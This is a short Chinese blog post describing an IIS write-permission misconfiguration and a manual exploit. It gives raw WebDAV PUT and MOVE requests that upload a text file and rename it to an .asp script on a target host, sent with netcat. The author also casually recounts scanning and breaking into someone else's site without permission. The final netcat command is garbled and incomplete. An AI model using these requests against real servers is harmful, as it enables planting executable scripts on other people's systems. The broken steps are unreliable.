IIS写权限漏洞原理&利用工具手动版

car.3205

　　很老的东西了，严格的说不是漏洞，只是设置不善造成的Bug。八百年遇不到一会，结果前几天不幸碰上了。
　　用JSKY扫描人家的站，结果扫描器居然直接把人家整站给删了= =#(这也是百年不遇吧....囧，我猜JSKY用的参数一定是“/”)。
　　还好，最后搞进去把人家的站恢复了，真惊险。还义务帮他补漏洞，删后门......
　　其中用到了IIS写权限利用工具，桂林老兵版的没带身上，网上下到了zwell版的，结果没成功，最后自己动手写了一个手动版的，看来还是“自己动手，丰衣足食”哇，呼呼。
　　分别保存下面两个TXT文件。
　　//PUT.TXT
　　PUT /zerosoul.txt HTTP/1.1
　　HOST: www.xxx.com
　　Content-Length: 24
　　
　　//MOVE.TXT
　　MOVE /zerosoul.txt HTTP/1.1
　　HOST: www.xxx.com
　　Destination: http://www.xxx.com/zerosoul.asp
　　(别忘了上面有两下回车)
　　然后在CMD分别输入以下命令即可:
　　c:\>nc www.xxx.com 80nc www.xxx.com 80